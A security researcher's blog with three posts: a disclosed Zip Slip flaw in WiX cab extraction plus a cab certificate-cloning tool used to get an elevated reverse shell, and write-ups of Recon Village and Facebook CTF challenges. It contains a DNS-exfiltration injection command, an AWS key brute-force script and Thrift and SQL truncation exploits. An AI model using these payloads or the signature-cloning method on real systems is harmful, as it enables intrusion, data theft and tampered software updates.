Saturday, September 21, 2019

The Time I Chased a Cab (File): Zip Slip and Certificate Cloning

While doing research for a pretty large and complicated thick client assessment recently, I ended up diving down a rabbit hole involving cabinet files (.cab) as I noticed the application performing some interesting sequential functions.

In a nutshell, the application would do the following with elevated processes:
  1. Retrieve a cab file
  2. Extract the cab file
  3. Run an application-specific executable 
This blog entry will focus on two different aspects of cabinet files that aided in exploiting the above functionality to spawn a reverse shell:
  • Susceptibility to 'Zip Slip'
  • Cloning cab file certificates

What is a .cab file?

A .cab file, short for 'cabinet' file is a special archive format for Windows. They are often used for updating applications, system drivers, and other fun stuff.[1]

Hacker mentality 101: "What would happen if..."

While I had absolutely no knowledge about these files, as soon as I saw 'archive', spidey senses started to tingle and I started to wonder if cab files could be susceptible to "Zip Slip"[2]: arbitrary file writes due to archive extraction typically associated with zip files.

I did not see any explicit reports of cab files being affected by this vulnerability, so I decided to give it a shot and created a test cab file to see if this was possible.

I created a new cab file using lcab[3], which contained a valid file name as well as file that had a directory traversal as the file name.
Investigating the code of the thick client, I found that it was using a DLL called "Microsoft.Deployment.Compression DLL", which I discovered is part of the WiX Toolset by FireGiant.

Analyzing the function for extraction, I  saw that it takes the full file name and simply concatenates it with the destination path. As there is no sanitization or validation occurring, a file named with a directory traversal string (like I generated) should theoretically be extracted to the path indicated in the directory traversal.

// Microsoft.Deployment.Compression.ArchiveInfo
// Token: 0x0600002C RID: 44 RVA: 0x00002700 File Offset: 0x00001700
public void Unpack(string destDirectory, EventHandler<ArchiveProgressEventArgs> progressHandler)
{
 using (CompressionEngine compressionEngine = this.CreateCompressionEngine())
 {
  compressionEngine.Progress += progressHandler;
  compressionEngine.Unpack(new ArchiveFileStreamContext(this.FullName, destDirectory, null)
  {
   EnableOffsetOpen = true
  }, null);
 }
}

I took the code that was hypothesized to be vulnerable and created a basic C# application to perform an extraction test.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using Microsoft.Deployment.Compression;
using Microsoft.Deployment.Compression.Cab;


namespace CabSlip
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: <cab file> <dst dir>");
                return;
            }
            Console.WriteLine("Cab extraction test for zip slip.");

            string fileName = args[0];
            string destination = args[1];

            Console.WriteLine("Extracting " + fileName + " to " + destination);

            new CabInfo(fileName).Unpack(destination);            
            

        }
    }
}

After running this in conjunction with my malicious cab file, I confirmed that it was indeed susceptible to Zip Slip.


Switching back to the thick client, I put some breakpoints in dnSpy so I could swap in my malicious cab file to verify that this could be replicated, and after continuing code execution--it worked--the cab file was extracted and I successfully wrote a file to C:\windows\system32.

The vulnerability in the DLL was reported to FireGiant, and it has been remediated as referenced in CVE-2019-16511.[4]

Rain falling on the parade

This was when I started to get quite excited that I might have something interesting to play with, but when I tried to have the application run through everything without any breakpoints set, my cab file was being rejected.

To my dismay, multiple protection checks were put in place to ensure the integrity of the cab file that was going to be extracted was maintained:
  • Digital signature verification
  • Certificate authority chain validation
  • CN name check on certificate
The checkpoint that hurt the most was the chain validation as this was from a X509 Windows API call that was reaching out for several confirmations that the chain was valid and the certificate was not revoked.

While Sigthief [5] exists for cloning signatures and injecting them into portable executables, no methods or tools existed for doing the same for cab files, and I wasn't ready to give up on this exploit chain just yet, so I decided it was time to explore how cab files are constructed at the byte level to see if cloning the signature was possible.

Forging Certificates 

Luckily, certificates are just appended to the end of the actual cab file data, and by reading the documentation on how cab file headers are constructed, I discovered that it was possible to clone certificates onto cab files by switching byte values in the header.

By calculating offsets to data and cloning certain special bytes from the cab file whose certificate is the target, the header can be reconstructed to fit the data of a new, malicious cab file.

Example cab file header:
While I will not go into the full nitty-gritty on each and every byte that needs to be cloned and/or modified (Feel free to read the documentation and my tool comments though for a bit more information!), the labeled portions are most of the key areas that need to be calculated or cloned from the original source cab file.

A.  Offset to certificate data
B.  Length of the file included in the archive
C.  Extra data flag, which indicates there is a certificate at the end
D.  Start of data
E.  Check sum (in most cases this can be arbitrary)
F.  Size of uncompressed and compressed data in the archive. (This has a maximum of 0x8000, and when a file is bigger than this, the file is chunked, and this value is an offset to the next chunk.)

With the above in mind, I developed the "Cab Cloning Factory" tool which allows for the cloning of cab file certificates.

Github link:
https://github.com/Keramas/CabCloningFactory

This allowed me to create a cab file with a reverse shell payload that bypassed all of the certificate protection checks mentioned in the previous section, and ultimately get a shell with elevated privileges by overwriting the executable that would subsequently be executed after the cab files extraction process completed.

Conclusion

This came about due to my stubbornness to not give up on exploiting what I found. Spending a sleepless night or two for research and development to get this going was well worth it. It was a lot of trial and error, and while the generic cloning tool is not quite 100% yet, I hope others take a look and find it useful. I am curious to see how many times I run into cab files moving forward...

With all of that said, the takeaway is that signature and certificate checks are not a panacea for ensuring data integrity, and this should be kept in mind for applications using these types of validations for protection.

References:

[1]https://en.wikipedia.org/wiki/Cabinet_(file_format)
[2]https://snyk.io/research/zip-slip-vulnerability
[3]http://manpages.ubuntu.com/manpages/bionic/man1/lcab.1.html
[4]https://www.firegiant.com/blog/2019/9/18/wix-v3.11.2-released/
[5]https://github.com/secretsquirrel/SigThief

Vulnerability disclosure timeline:

Disclosure to Firegiant for WiX Toolset - 8/23
Received reply from Firegiant - 8/23
Vulnerability remediated by FireGiant and publicized - 9/18
WiX Toolset vulnerability confirmed as CVE-2019-16511 - 9/18






Monday, August 12, 2019

Recon Village CTF @ Defcon 27

My CTF team, Neutrino Cannon, participated in the Recon Village CTF at Defcon 27 once again for the third year in a row, and as the saying goes "the third time is the charm" as we managed to finish in first place. We dedicated almost all of our time at Defcon to the CTF, and the team's unwavering focus to complete challenges locked in the victory.


There were a lot more challenges this year than in past years, and while this write-up will include most challenges, it will not be a fully inclusive list. However, the official write-up from the Recon Village team should be released in the coming days, so be sure to check that out as well.

Challenge Solutions


USA - 500 points


Opening the provided URL into a browser, the site greets us with a simple input field.


The source code revealed that the flag would be located at "/opt/flag.txt", so we knew there would be something that could be done here to allow for LFI or an injection of some sort.

We started by doing simple manual tests for, and while XSS was successful, it didn't seem like it would yield anything useful. Noticing that the page was PHP, we then moved onto trying PHP code injection to see if anything would run. This did not pan out, so we continued to fuzz this for potential issues with a Burp Collaborator server up and noticed that it was receiving hits for straight up OS command injection.


Seeing that the server was pinging the collaborator server successfully we realized we had a blind OS command injection. Unfortunately, we could not get a reverse shell, but we managed to retrieve the flag through DNS exfiltration using nslookup.

First we setup a tcpdump to monitor for DNS queries:
"tcpdump -ni eth0 udp port 53"

Then we input the following command:
"nslookup $(cat /opt/flag.txt) <IP address>"

When it makes the query we can retrieve the flag.


Turkey - 300 points


Doing a quick Nmap scan of this IP reveals that port 8080 is open and it is running JIRA.


Based on the version indicated at the page footer, there is a CVE associated with this for RCE.

References:
-https://medium.com/@ruvlol/rce-in-jira-cve-2019-11581-901b845f0f
-https://community.atlassian.com/t5/Jira-articles/CVE-2019-11581-Critical-Security-Advisory-for-Jira-Server-and/ba-p/1128241

Using this with a reverse shell payload, we are able to access the server and retrieve the flag.


(*A screencap was not taken when capturing the flag from this RCE, and unfortunately (though not confirmed for certain) we believe something was wrong with the server after a while as RCE through this method no longer worked for my team or other teams when discussing post-CTF)

Mongolia - 300 points


Based on the challenge text and the website, spidey-sense was tingling that we either needed to send hash collision strings or there would be a type juggling vulnerability.


Interestingly, however, the strings that were being sent to the server were not being processed by a normal MD5 hashing function, as the values that were being output to the screen were not matching the MD5 sum of the strings we were getting locally. We thought it could be salting it or performing multiple hashings; however, we turned to type juggling as another idea.


Changing the get request so that the parameters are empty arrays tricks the check that the strings are different, but they evaluate to be the same hash through the PHP code.


United Kingdom - 300 points


Looking at the fragment of the key in the challenge text, we realized that this was an AWS-related challenge based on the "AKIA" prologue. There are two parts required to access and query AWS: the access ID (this is the key that is missing characters) and the private key (which they graciously gave to us). Since we have the private key and the access ID is only missing two characters, we wrote a python script in conjunction with a bash script to test all possible combinations which will perform a simple query. Based on the output we could determine which characters completed the key.

Bash script to query:
https://gist.github.com/cauealvesbraz/1121c0a0375648db13b137b31ef8955d

Python wrapper script:

#!/usr/bin/python

import random
import string
from commands import *
import os
import sys

key_id = "AKIA2SR3ZZCIQ7LT5Q" #xx
a_key = "wotwpfUVRMmhkRoGPfgxd69enU6e0lnLqwnvZjtg"

lettersAndDigits = string.ascii_uppercase + string.digits
missing = list()
for i in lettersAndDigits:
    for j in lettersAndDigits:
    missing.append( i + j )

for i in missing:
    f = open("/root/.aws/credentials",'w')
    new_key_id = key_id + i
    f.write("[default]\naws_access_key_id = " + new_key_id + "\n"+"aws_secret_access_key = " + a_key + "\nregion = us-east-1\n")
    f.close()
    status, text = getstatusoutput("./key.sh " +new_key_id)
    if "InvalidClientTokenId" in text:
        print "NOT FOUND: " + new_key_id + "\n [!]RESULT: " + text + "\n\n"
    else:
        print "******FOUND******\n" + new_key_id + "\n [+]RESULT: " + text + "\n\n"
        k_f = open("key.txt","w")
        k_f.write(str(new_key_id))
        k_f.close()
        break

This resulted in the following access ID: AKIA2SR3ZZCIQ7LT5QVZ

With the valid access ID and private key, we could list the S3 buckets present and retrieved the flag.


Canada - 400 points


The challenge text reeked of Docker, and trying out a 'docker pull' on the potential repo successfully grabbed an image.


Exploring the history, there was a curl command being executed to retrieve a node_js-related file. Curling this file, we see mention of a git repo in the source code.



Browsing to this, we combed through the commit history and discovered the flag.


Belarus - 200 points


Image:

Looking closely at the image, there is faint text on the white building's wall. Zooming in on it reveals "English National Ballet".

 https://www.google.nl/maps/place/English+National+Ballet/@51.5120302,0.0062593,17z/data=!4m5!3m4!1s0x4876055b0af21cdb:0x435e69d83228ec35!8m2!3d51.5132496!4d0.0064038

The above map shows that the nearest train station is "Canning Town" which is the flag.


Ethiopia - 100 points


Using Zoomeye, we crafted a search query to locate the indicated host, and thus the flag.

"+country:"MX" +app:"WebLogic applications server" +after:"2015-01-01" +before:"2016-01-01""


Australia - 200 points



This challenge required you to be on-site at Defcon. Looking at the back of the regular Recon Village badge passed out to attendees, there was a string of binary.


Converting this to ascii we only got "https://pa". Having noticed that staff were wearing a red badge and we had a black badge, we knew we had to track one of them down to get the next part of the puzzle.

Checking out a red badge gave us more information:

"https://pastebin.com"

We immediately realized that speakers at the village had a different color badge, and after waiting for a speaker to be free after a talk, we secured the key part of the URL and retrieved the flag.


"https://pastebin.com/CQ5Bg9X7"

flag:{y0uar3g00datnetw0rking}

South Africa - 300 points


Image:

Based on the text written on the building that shows "Shakespeare's Board", we were able to locate it on the map:
https://www.google.com/maps/place/Shakespeare%27s+Head/@51.516816,-0.1218747,17z/data=!3m1!4b1!4m5!3m4!1s0x48761b350efbd81b:0x5db525154ac44772!8m2!3d51.516816!4d-0.119686

Changing the address to "70", we determined that the company was 'Mishcon de Reya'

After a bit of searching found that the "mishcon.com/people" page listed profiles of employees, and found that Lena Kearney was the Strategy Manager.

Heading to Facebook and searching for her, the present work listing matched and exploring her profile revealed the name of the catering company: "Sinclair's Catering", which was the flag.

Norway - 300 points


With some Google-fu, we suspected the student was Ben Price:
http://www.diggah.net/contact-2/

Doing a bit more...digging...we found his email to be "diggah@diggah.net". Searching with this email, we found a pastebin dump with credentials, which was the flag.

https://pastebin.com/YKMtMT6J
flag:{diggah@diggah.net:m0nkeyfun} 

Thailand - 100 points


Image:

Pretty basic steganography challenge. Exiftool reveals a steghide password:


Then using Steghide, we got the 'secrets.txt' file which contained the flag.


Romania - 200 points


We are given a zip that contains a public.pem and a secrets.zip file which is encrypted. Using the well-known RsaCtfTool (https://github.com/Ganapati/RsaCtfTool) we were able to retrieve the private key and then decrypt the zip file with 'openssl rsautl'.




Results


Feedback and Comments

The organizers did a great job as always putting on this CTF and we had a lot of fun participating again this year. You could feel their passion and devotion to creating something exciting and challenging based on the boost in challenge difficulty and volume. There are only a couple of tweaks we would recommend for improving CTFs moving forward. First, a couple of the challenges were overly vague in the description, which is understandable to create a challenge, but for certain instances a slight bit more direction as to what we are searching for would have been appreciated (looking at you Spain!). However, this may be elucidated in the official writeup. And lastly, just a bit more communication from the organizers. There were a couple of hiccups at the start where challenges did not have their attachments and teams were hunting for something completely off, and a broadcast on the gameboard or Tweet would have been appreciated. Overall it was super fun and we are looking forward to seeing what's in store next year! Thank you again!








Sunday, June 2, 2019

Facebook CTF 2019

I spent nearly all weekend bashing my head against the wall trying to solve the challenges developed by the masterminds behind the Facebook CTF. Though I only managed to solve a couple, I felt decently accomplished and had a lot of fun.


Challenge: "homework_assignment_1337"



This was a neat challenge that involved developing a Thrift client based on a provided .thrift file in order to perform pings to the Thrift server. While pinging the server alone was not enough to get the flag, there was a nice exploit(?) to make the server dump the flag.

I had no idea what Thrift even was, so headed to Google to read the documentation. Essentially it is a nice lightweight way for making RPCs and spinning up a client (and server for that matter) was not too difficult. Full documentation and starting guide can be found here.

I decided to go the Python route, so first, using the provided ping.thrift file, we generate the Python code.


thrift -r --gen py ping.thrift

After the Python is generated, I took the entire import header section of the PingBot-remote file that was created and made a new file for my client code, which I placed in the created gen-py directory.

Looking at the ping.thrift file, there were two functions associated with the PingBot service: ping and pingdebug. The former will just ping a given host, while the latter was said to be restricted to localhost execution only.

service PingBot {

  /**
   * A method definition looks like C code. It has a return type, arguments,
   * and optionally a list of exceptions that it may throw. Note that argument
   * lists and exception lists are specified using the exact same syntax as
   * field lists in struct or exception definitions.
   */


  // As part of your homework you should call this method.
  // Ping the server I set up by correctly setting the proto and host fields
  // within the Ping structure.
  Pong ping(1:Ping input),



  // You do not have to call this method as part of your homework.
  // I added this to check people's work, it is my admin interface so to speak.
  // It should only work for localhost connections either way, if your client
  // tries to call it, your connection will be denied, hahaha!
  PongDebug pingdebug(1:Debug dummy),

}

Due to the comment, I surmised that the real goal here was to find a way to call pingdebug and trick the system into thinking it was being called from localhost, which should *hopefully* reveal the flag.

After a bit of struggle and exploration of all the dependency Python files, I managed to work out how to successfully ping the server.



Seeing that there is a data field and knowing that 'data' can be passed as an argument for the ping function, this seems interesting and will likely be where our flag is output.

Pressing on, I attempted to make a pingdebug call, but was rejected, confirming that this function is indeed restricted.



Based on the .thrift file, the data variable is set to be a binary array, and to probe a bit, I initially set data to be bytearray(64) and other integer values to see if anything was returned. Sure enough, the data field was populated with a bunch of hex when pinging the server.


This output is interesting and seems to be waiting for some kind of input to execute indicated by the "Unknown function" string present. It took a bit of trial and error to figure out what to do here, but converting the strings "pingdebug" and "localhost:9090" to hex and placing them in position, it was possible to send that back to the server and get the flag.

Final code (cleaned up to print out the flag neatly):


#!/usr/bin/env python

import sys
import pprint
from thrift.transport import TTransport, TSocket, TSSLSocket, THttpClient
from thrift.protocol.TBinaryProtocol import TBinaryProtocol
from thrift import Thrift
from ping import PingBot
from ping.ttypes import *

socket = TSocket.TSocket('challenges.fbctf.com', 9090)
transport = TTransport.TBufferedTransport(socket)
protocol = TBinaryProtocol(transport)
client = PingBot.Client(protocol)

transport.open()
print "[*] Opening connection to Thrift server@challenges.fbctf.com:9090"

host = 'localhost:9090'
proto = 1
data = '\x80\x01\x00\x01\x00\x00\x00\x09\x70\x69\x6e\x67\x64\x65\x62\x75\x67\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00\x02\x0b\x00\x02\x00\x00\x00\x0e\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x39\x30\x39\x30\x00\x00' 

print "[*] Pinging %s" % host
print "------------------------------"
try:
   print "[*]Raw data:"
   print((client.ping(Ping(proto,host,data))))

   print "\n"+ "[!]Flag = " + str((client.ping(Ping(proto,host,data)))).split('"')[1]

except Thrift.TException, tx:
   print "[x] " + tx.message
   sys.exit(0)  
print "------------------------------"

transport.close()
print "[*] Disconnected from Thrift server."







Challenge: "Product Manager"



This was a fun little web challenge. The application allows for the addition of products that you list with a special password, and it is also possible to view these products by specifying the product name and password.



I starting attacking it for quite a bit before I realized that the source code for the page was given. Initially, I thought for sure it would be some form of a second order SQL injection, but after reviewing the source code for the db.php file, I noticed something interesting:




/*
CREATE TABLE products (
  name char(64),
  secret char(64),
  description varchar(250)
);

INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/
error_reporting(0);
require_once("config.php"); // DB config

First, we know where the flag is going to be. It's a description for the 'facebook' product, but to see it we will need the secret password. Or do we? Loooking at the CREATE TABLE products function, there is a limited buffer space given, so it is possible to perform a SQL truncation attack due to how mySQL handles spaces.


For the product name, I entered "facebook" followed by a bunch of spaces and then just arbitrary text, which was "adminf", and then set an arbitrary password. (Description text was left over from my prodding...)



What this will do is make the server cut off extraneous characters that were over the buffer and then truncate the remaining empty spaces which results in the product name being "facebook". It also changes the product's password to what we input allowing access to this product's page.

Inputting 'facebook' for the product, and then our secret password, we can browse the product page which reveals the flag.


Powered by Blogger.